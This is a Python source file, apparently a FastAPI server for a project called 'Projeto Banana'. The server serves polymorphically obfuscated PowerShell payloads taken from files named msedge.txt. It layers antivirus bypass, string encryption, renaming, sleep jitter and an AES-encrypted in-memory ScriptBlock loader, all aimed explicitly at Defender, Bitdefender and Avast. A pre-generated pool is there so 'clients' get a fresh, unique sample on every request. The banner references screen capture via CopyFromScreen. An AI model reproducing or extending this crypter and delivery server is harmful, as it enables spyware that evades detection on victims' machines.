        0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
        0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
        0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
        0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
        0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
        0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
        0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
        0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
        0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
        0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
        0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
        0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
        0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
        0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
        0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
        0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16
    ]
    RCON = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36]
    
    def xtime(a):
        return ((a << 1) ^ 0x1b) & 0xff if a & 0x80 else (a << 1) & 0xff
    
    def mix_single_column(a):
        t = a[0] ^ a[1] ^ a[2] ^ a[3]
        u = a[0]
        a[0] ^= t ^ xtime(a[0] ^ a[1])
        a[1] ^= t ^ xtime(a[1] ^ a[2])
        a[2] ^= t ^ xtime(a[2] ^ a[3])
        a[3] ^= t ^ xtime(a[3] ^ u)
        return a
    
    def key_expansion(key):
        key_schedule = list(key)
        for i in range(8, 60):
            temp = key_schedule[(i-1)*4:(i)*4]
            if i % 8 == 0:
                temp = temp[1:] + temp[:1]
                temp = [SBOX[b] for b in temp]
                temp[0] ^= RCON[i//8 - 1]
            elif i % 8 == 4:
                temp = [SBOX[b] for b in temp]
            key_schedule.extend([key_schedule[(i-8)*4 + j] ^ temp[j] for j in range(4)])
        return key_schedule
    
    def add_round_key(state, key_schedule, round):
        for i in range(16):
            state[i] ^= key_schedule[round*16 + i]
        return state
    
    def sub_bytes(state):
        return [SBOX[b] for b in state]
    
    def shift_rows(state):
        return [
            state[0], state[5], state[10], state[15],
            state[4], state[9], state[14], state[3],
            state[8], state[13], state[2], state[7],
            state[12], state[1], state[6], state[11]
        ]
    
    def mix_columns(state):
        for i in range(4):
            col = state[i*4:(i+1)*4]
            col = mix_single_column(col)
            state[i*4:(i+1)*4] = col
        return state
    
    def encrypt_block(block, key_schedule):
        state = list(block)
        state = add_round_key(state, key_schedule, 0)
        for round in range(1, 14):
            state = sub_bytes(state)
            state = shift_rows(state)
            state = mix_columns(state)
            state = add_round_key(state, key_schedule, round)
        state = sub_bytes(state)
        state = shift_rows(state)
        state = add_round_key(state, key_schedule, 14)
        return bytes(state)
    
    key_schedule = key_expansion(key)
    encrypted = b''
    prev_block = iv
    
    for i in range(0, len(data), 16):
        block = data[i:i+16]
        xored = bytes(a ^ b for a, b in zip(block, prev_block))
        encrypted_block = encrypt_block(xored, key_schedule)
        encrypted += encrypted_block
        prev_block = encrypted_block
    
    return encrypted


def apply_disk_encryption(code: str) -> str:
    """Criptografa o payload para ficar ilegível em disco"""
    key = os.urandom(32)
    iv = os.urandom(16)
    key_b64 = base64.b64encode(key).decode()
    iv_b64 = base64.b64encode(iv).decode()
    
    block_size = 16
    padding_len = block_size - (len(code.encode('utf-8')) % block_size)
    padded_code = code + chr(padding_len) * padding_len
    
    encrypted = aes_encrypt_cbc(padded_code.encode('utf-8'), key, iv)
    encrypted_b64 = base64.b64encode(encrypted).decode()
    encrypted_lines = [encrypted_b64[i:i+80] for i in range(0, len(encrypted_b64), 80)]
    encrypted_block = '\n'.join(encrypted_lines)
    
    v_key = random_name(6)
    v_iv = random_name(6)
    v_data = random_name(6)
    v_aes = random_name(6)
    v_dec = random_name(6)
    v_ms = random_name(6)
    v_cs = random_name(6)
    v_sr = random_name(6)
    v_plain = random_name(6)
    
    loader = f'''$ErrorActionPreference='SilentlyContinue'
${v_data}=@"
{encrypted_block}
"@
${v_key}=[Convert]::FromBase64String('{key_b64}')
${v_iv}=[Convert]::FromBase64String('{iv_b64}')
${v_aes}=[System.Security.Cryptography.Aes]::Create()
${v_aes}.Key=${v_key};${v_aes}.IV=${v_iv};${v_aes}.Mode='CBC';${v_aes}.Padding='PKCS7'
${v_dec}=${v_aes}.CreateDecryptor()
${v_ms}=[IO.MemoryStream]::new([Convert]::FromBase64String(${v_data}))
${v_cs}=[Security.Cryptography.CryptoStream]::new(${v_ms},${v_dec},'Read')
${v_sr}=[IO.StreamReader]::new(${v_cs})
${v_plain}=${v_sr}.ReadToEnd()
${v_sr}.Close();${v_cs}.Close();${v_ms}.Close();${v_aes}.Dispose()
& ([ScriptBlock]::Create(${v_plain})) @args'''
    
    return loader

# ═══════════════════════════════════════════════════════════════════════════════
# FUNÇÃO PRINCIPAL DE PROTEÇÃO (COMBINADA v7.1)
# ═══════════════════════════════════════════════════════════════════════════════

def protect_code_complete(code: str, config: dict = None) -> str:
    """
    Aplica TODAS as camadas de proteção do proteger.py v7.1.
    Esta função é thread-safe (não usa estado global mutável).
    """
    if config is None:
        config = CONFIG.copy()
    
    # Criar cópia local do project_config para thread-safety
    project_config = {
        'sensitive_ips': [],
        'sensitive_domains': [],
        'server_port': 0,
    }
    
    # Detectar valores sensíveis
    code = detect_sensitive_values(code, project_config)
    
    # NOVO v7.1: Sleep com jitter
    if config.get('enable_sleep_jitter', True):
        code = apply_sleep_jitter(code)
    
    # Aplicar camadas na ordem correta
    if config.get('enable_bypass', True):
        code = apply_bypass(code)

    # NOVO: Anti-detecção dinâmica em runtime
    # code = apply_anti_detection_evasion(code)  # DESABILITADO - Defender bloqueia!

    # NOVO: Ofuscação de assinaturas críticas (apenas as essenciais)
    # code = apply_env_var_obfuscation(code)          # DESABILITADO
    # code = apply_registry_path_obfuscation(code)    # DESABILITADO
    # code = apply_appdata_path_obfuscation(code)     # DESABILITADO
    # code = apply_executable_name_obfuscation(code)  # DESABILITADO
    # code = apply_task_name_randomization(code)      # TESTE: desabilitar

    # NOVO: Ofuscação dinâmica de domínios (cada geração é diferente)
    # code = apply_domain_obfuscation(code)  # DESABILITADO

    # NOVO: Proteger padrões suspeitos detectados por antivírus
    code = apply_suspicious_pattern_protection(code)

    if config.get('enable_string_encrypt', True):
        code = apply_string_encryption(code, project_config)
    
    if config.get('enable_var_rename', True):
        code = apply_variable_rename(code)
    
    if config.get('enable_func_rename', True):
        code = apply_function_rename(code)
    
    if config.get('enable_type_obfuscation', True):
        code = apply_type_obfuscation(code)
    
    if config.get('enable_comment_removal', True):
        code = apply_comment_removal(code)
    
    if config.get('enable_number_obfuscation', True):
        code = apply_number_obfuscation(code)
    
    if config.get('enable_junk_code', False):
        code = apply_junk_code(code)
    
    if config.get('enable_final_compress', False):
        code = apply_final_compression(code)
    
    # Criptografia em disco (arquivo ilegível)
    if config.get('enable_disk_encrypt', True):
        code = apply_disk_encryption(code)
    else:
        # Header do arquivo protegido
        timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
        unique_hash = hashlib.md5(f"{code}{random.random()}".encode()).hexdigest()[:16].upper()
        header = f'''# ═══════════════════════════════════════════════════════════════════════════════
# PROTECTED SCRIPT v7.1 - Projeto Banana (Anti-Defender/Bitdefender/Avast)
# Generated {timestamp}
# Hash: {unique_hash}
# Generated from server-side optimization engine
# ═══════════════════════════════════════════════════════════════════════════════

'''
        code = header + code
    
    return code

# ═══════════════════════════════════════════════════════════════════════════════
# SISTEMA DE POOL (PRÉ-GERAÇÃO DE CÓDIGOS) - ZERO PERDA DE CLIENTES
# ═══════════════════════════════════════════════════════════════════════════════

class CodePool:
    """
    Pool de códigos pré-gerados.
    - Gera códigos em background
    - Cliente recebe código instantâneo
    - ZERO perda de clientes
    """
    
    def __init__(self):
        self.pools: Dict[str, deque] = {}
        self.source_cache: Dict[str, str] = {}
        self.source_mtime: Dict[str, float] = {}
        self.locks: Dict[str, threading.Lock] = {}
        self.global_lock = threading.Lock()
        self.generator_queue = queue.Queue()
        self.running = True
        self.stats = {
            'generated': 0,
            'served_from_pool': 0,
            'served_generated': 0,
            'total_requests': 0,
        }
        
        for i in range(POOL_CONFIG['generator_threads']):
            t = threading.Thread(target=self._generator_worker, daemon=True)
            t.start()
    
    def _get_lock(self, folder: str) -> threading.Lock:
        with self.global_lock:
            if folder not in self.locks:
                self.locks[folder] = threading.Lock()
            return self.locks[folder]
    
    def _load_source(self, folder: str) -> Optional[str]:
        base = SERVER_CONFIG['base_dir']
        src = SERVER_CONFIG['source_file']
        path = os.path.join(base, folder, src) if folder else os.path.join(base, src)
        
        if not os.path.exists(path):
            return None
        
        mtime = os.path.getmtime(path)
        
        if folder in self.source_cache and self.source_mtime.get(folder, 0) >= mtime:
            return self.source_cache[folder]
        
        try:
            with open(path, 'rb') as f:
                raw = f.read()
            code = raw[3:].decode('utf-8') if raw.startswith(b'\xef\xbb\xbf') else raw.decode('utf-8')
            
            self.source_cache[folder] = code
            self.source_mtime[folder] = mtime
            
            if folder in self.pools:
                with self._get_lock(folder):
                    self.pools[folder].clear()
            
            print(f"[CACHE] Carregado {folder or 'raiz'}: {len(code):,} chars")
            return code
        except Exception as e:
            print(f"[ERRO] Carregar {path}: {e}")
            return None
    
    def _generator_worker(self):
        while self.running:
            try:
                folder = self.generator_queue.get(timeout=1)
                self._generate_one(folder)
                self.generator_queue.task_done()
            except queue.Empty:
                continue
            except Exception as e:
                print(f"[ERRO] Generator: {e}")
    
    def _generate_one(self, folder: str):
        source = self._load_source(folder)
        if not source:
            return
        
        try:
            start = time.time()
            protected = protect_code_complete(source)
            elapsed = (time.time() - start) * 1000
            
            with self._get_lock(folder):
                if folder not in self.pools:
                    self.pools[folder] = deque(maxlen=POOL_CONFIG['max_size'])
                self.pools[folder].append(protected)
            
            self.stats['generated'] += 1
            pool_size = len(self.pools.get(folder, []))
            print(f"[POOL] Gerado para {folder or 'raiz'} em {elapsed:.0f}ms (pool: {pool_size})")
        except Exception as e:
            print(f"[ERRO] Gerar código: {e}")
    
    def _request_generation(self, folder: str, count: int = 1):
        for _ in range(count):
            self.generator_queue.put(folder)
    
    def get_code(self, folder: str) -> Optional[str]:
        self.stats['total_requests'] += 1
        folder = folder.strip('/') if folder else ""
        
        source = self._load_source(folder)
        if not source:
            return None
        
        with self._get_lock(folder):
            if folder in self.pools and self.pools[folder]:
                code = self.pools[folder].popleft()
                pool_size = len(self.pools[folder])
                self.stats['served_from_pool'] += 1
                
                if pool_size < POOL_CONFIG['refill_threshold']:
                    self._request_generation(folder, POOL_CONFIG['min_size'] - pool_size)
                
                print(f"[POOL] Servido do pool {folder or 'raiz'} (restam: {pool_size})")
                return code
        
        print(f"[POOL] Pool vazio para {folder or 'raiz'}, gerando...")
        protected = protect_code_complete(source)
        self.stats['served_generated'] += 1
        
        self._request_generation(folder, POOL_CONFIG['min_size'])
        
        return protected
    
    def warmup(self, folder: str):
        print(f"[WARMUP] Pré-gerando para {folder or 'raiz'}...")
        self._request_generation(folder, POOL_CONFIG['min_size'])
    
    def discover_folders(self) -> list:
        """Descobre todas as pastas que têm msedge.txt"""
        base = SERVER_CONFIG['base_dir']
        src = SERVER_CONFIG['source_file']
        folders = []
        
        # Verificar raiz
        if os.path.exists(os.path.join(base, src)):
            folders.append("")
        
        # Verificar subpastas
        try:
            for item in os.listdir(base):
                item_path = os.path.join(base, item)
                if os.path.isdir(item_path):
                    if os.path.exists(os.path.join(item_path, src)):
                        folders.append(item)
        except Exception as e:
            print(f"[ERRO] Ao escanear pastas: {e}")
        
        return folders
    
    def warmup_all(self):
        """Pré-aquece TODAS as pastas que têm msedge.txt"""
        folders = self.discover_folders()
        print(f"[WARMUP] Encontradas {len(folders)} pasta(s) com {SERVER_CONFIG['source_file']}")
        
        for folder in folders:
            self.warmup(folder)
            print(f"[WARMUP] Iniciado: {folder or 'raiz'}")
    
    def get_stats(self) -> dict:
        pools_info = {(f or 'raiz'): len(p) for f, p in self.pools.items()}
        return {
            'generated': self.stats['generated'],
            'served_from_pool': self.stats['served_from_pool'],
            'served_generated': self.stats['served_generated'],
            'total_requests': self.stats['total_requests'],
            'pool_sizes': pools_info,
            'queue_size': self.generator_queue.qsize(),
        }


code_pool = CodePool()


# ═══════════════════════════════════════════════════════════════════════════════
# SERVIDOR FASTAPI
# ═══════════════════════════════════════════════════════════════════════════════

try:
    from fastapi import FastAPI
    from fastapi.responses import PlainTextResponse
    import uvicorn
except ImportError:
    print("ERRO: pip3 install fastapi uvicorn --break-system-packages")
    sys.exit(1)

app = FastAPI(title="Servidor Completo + Pool v7.1", version="7.1")
stats = {'start': None}


@app.on_event("startup")
async def startup():
    stats['start'] = datetime.now()
    
    aes_status = "RÁPIDO (cryptography)" if CRYPTO_FAST else "LENTO (Python puro)"
    
    print()
    print("╔════════════════════════════════════════════════════════════════════════════╗")
    print("║     SERVIDOR COMPLETO + POOL v7.1 - AUTO-WARMUP                           ║")
    print("╠════════════════════════════════════════════════════════════════════════════╣")
    print("║  [✓] TODAS as proteções do proteger_FUNCIONAL.py v7.1                      ║")
    print("║  [✓] Sleep com Jitter (timing optimization)                                 ║")
    print("║  [✓] CopyFromScreen via REGEX (todas instâncias)                           ║")
    print("║  [✓] Detecção automática de IPs/domínios                                   ║")
    print("║  [✓] ZERO PERDA DE CLIENTES - Sistema de pool                              ║")
    print("║  [✓] PRÉ-AQUECE TODAS AS PASTAS AUTOMATICAMENTE                            ║")
    print("║  [✓] Cliente recebe código INSTANTÂNEO                                     ║")
    print(f"║  [✓] AES: {aes_status:<54} ║")
    print("╚════════════════════════════════════════════════════════════════════════════╝")
    print()
    
    if not CRYPTO_FAST:
        print("[AVISO] Instale: pip3 install cryptography --break-system-packages")
        print()
    
    print(f"[OK] Pool: min={POOL_CONFIG['min_size']}, max={POOL_CONFIG['max_size']}")
    print(f"[OK] Threads geradoras: {POOL_CONFIG['generator_threads']}")
    print()
    
    # Pré-aquecer TODAS as pastas automaticamente
    code_pool.warmup_all()


@app.get("/proteger", response_class=PlainTextResponse)
async def proteger(folder: str = ""):
    start = time.time()
    code = code_pool.get_code(folder)
    
    if code is None:
        return PlainTextResponse(f"# ERRO: msedge.txt não encontrado em {folder or 'raiz'}", status_code=404)
    
    elapsed = (time.time() - start) * 1000
    print(f"[OK] {folder or 'raiz'} → {len(code):,} chars em {elapsed:.0f}ms")
    
    return PlainTextResponse(code)


@app.get("/warmup")
async def warmup(folder: str = ""):
    code_pool.warmup(folder)
    return {"status": "warming up", "folder": folder or "raiz"}


@app.get("/stats")
async def get_stats():
    return {
        'uptime': str(datetime.now() - stats['start']) if stats['start'] else None,
        'aes_fast': CRYPTO_FAST,
        'pool': code_pool.get_stats(),
        'config': {
            'sleep_jitter': CONFIG['enable_sleep_jitter'],
            'bypass': CONFIG['enable_bypass'],
            'string_encrypt': CONFIG['enable_string_encrypt'],
            'var_rename': CONFIG['enable_var_rename'],
            'func_rename': CONFIG['enable_func_rename'],
            'type_obfuscation': CONFIG['enable_type_obfuscation'],
            'comment_removal': CONFIG['enable_comment_removal'],
            'number_obfuscation': CONFIG['enable_number_obfuscation'],
            'disk_encrypt': CONFIG['enable_disk_encrypt'],
        }
    }


@app.get("/health")
async def health():
    folders = code_pool.discover_folders()
    return {
        "status": "ok", 
        "version": "7.1", 
        "aes_fast": CRYPTO_FAST, 
        "pool": True,
        "folders_detected": len(folders),
        "folders": [f or "raiz" for f in folders]
    }


@app.get("/folders")
async def list_folders():
    """Lista todas as pastas detectadas com msedge.txt"""
    folders = code_pool.discover_folders()
    pool_stats = code_pool.get_stats()
    
    result = []
    for folder in folders:
        name = folder or "raiz"
        pool_size = pool_stats['pool_sizes'].get(name, 0)
        result.append({
            "folder": name,
            "pool_size": pool_size,
            "ready": pool_size > 0
        })
    
    return {"folders": result, "total": len(folders)}


if __name__ == "__main__":
    script = os.path.splitext(os.path.basename(sys.argv[0]))[0]
    uvicorn.run(f"{script}:app", host=SERVER_CONFIG['host'],
                port=SERVER_CONFIG['port'], workers=1, log_level="info")
